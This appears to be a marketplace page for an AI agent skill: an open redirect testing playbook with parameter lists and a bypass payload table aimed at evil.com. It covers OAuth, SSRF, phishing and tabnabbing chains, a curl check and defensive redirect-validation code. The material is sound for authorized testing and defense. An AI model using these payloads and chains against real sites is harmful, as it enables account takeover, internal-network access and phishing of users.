# Open Redirect

> Open redirect + tabnabbing — URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain.

- Skill: `purpleailab/open-redirect` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/open-redirect`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/open-redirect/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/open-redirect

---


# Open Redirect Playbook

Standalone open redirect = Low/Informational by itself.
**Chained**: critical (OAuth ATO, SSRF, phishing trust transfer).

## 1. Common parameters
```
?next=...  ?return=...  ?continue=...  ?redirect=...  ?url=...  ?to=...
?goto=...  ?destination=...  ?back=...  ?returnTo=...  ?callbackUrl=...
?image_url=...  ?file=...  ?logout_redirect=...  ?success=...
```

Grep recon URLs / JS for these params.

## 2. Bypass table

| Technique | Payload |
|---|---|
| Direct | `https://evil.com` |
| Protocol-relative | `//evil.com` |
| Triple-slash | `///evil.com` |
| Backslash | `\\evil.com` or `/\\evil.com` |
| Encoded slash | `%2f%2fevil.com` |
| Mixed encoded | `/%5cevil.com` |
| Userinfo | `https://target.com@evil.com` |
| Whitelist confusion | `https://target.com.evil.com` (subdomain ends w/ allowed) |
| Path-traversal in fragment | `target.com/?redirect=evil.com#@target.com` |
| Data URI | `data:text/html,<script>location='https://evil.com'</script>` |
| Javascript URI | `javascript:alert(1)` (for XSS upgrade) |
| CRLF injection | `redirect=evil.com%0d%0aSet-Cookie:...` |
| Punycode | `https://xn--80ak6aa92e.com` (looks like `apple.com`) |
| Mixed-case scheme | `HTTPS://evil.com` |
| Whitespace prefix | `%09//evil.com`, `%20//evil.com` |
| URL-encoded null | `evil.com%00.target.com` |
| Multiple slashes | `//////evil.com` |

## 3. Chain patterns

### 3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on `*.target.com`.
You have open-redirect at `target.com/redir?to=...`. Attacker:
```
redirect_uri=https://target.com/redir?to=https://evil.com/cb
```
OAuth server allows the literal target.com host; victim browser
follows the 302 → evil.com → code in URL.

### 3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But
fetches the URL via redirect. Server-side fetcher visits target.com (allowed),
follows 302 to internal IP (no DNS re-resolution).

### 3.3 Phishing
Send phishing email from attacker domain → click → lands on
`target.com/login?next=https://evil-attacker.com/fake-login`. After
"login" page redirects to attacker — but URL bar shows `target.com` for
the first second, building trust.

### 3.4 Tabnabbing
`window.open(URL)` w/o `noopener,noreferrer` → opened tab can navigate
the OPENER (original target tab) to phishing page. Combined w/ open
redirect = full visual takeover of the original target.

## 4. Tools
- **OpenRedireX** — fuzz w/ massive payload list
- Burp Intruder w/ payloads from `_corpus/payloads/Open Redirect/`
- `gf` (Tomnomnom) patterns to extract redirect params from URLs

## 5. PoC
```bash
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com  → confirmed open redirect
```

## 6. Severity

| Scenario | Typical |
|---|---|
| Standalone open redirect, no chain | Low 3-4 / Informational |
| Chained w/ OAuth → ATO | Critical 9.0 |
| Chained w/ SSRF bypass → metadata extraction | Critical 9.0 |
| Tabnabbing on high-trust target | Medium 5-6 |
| Phishing-only (no ATO chain) | Low-Medium |

## 7. Defender
```python
from urllib.parse import urlparse

def safe_redirect(url, allowed_hosts={'target.com'}):
    p = urlparse(url)
    if not p.netloc:        # relative path only
        return url if url.startswith('/') and not url.startswith('//') else '/'
    if p.netloc in allowed_hosts:
        return url
    return '/'

# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer'   # in HTML <a>
```

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Open Redirect/`
- OAuth chain extension: `skills/exploit/web/oauth/SKILL.md`
- SSRF chain extension: `skills/exploit/web/ssrf.md`

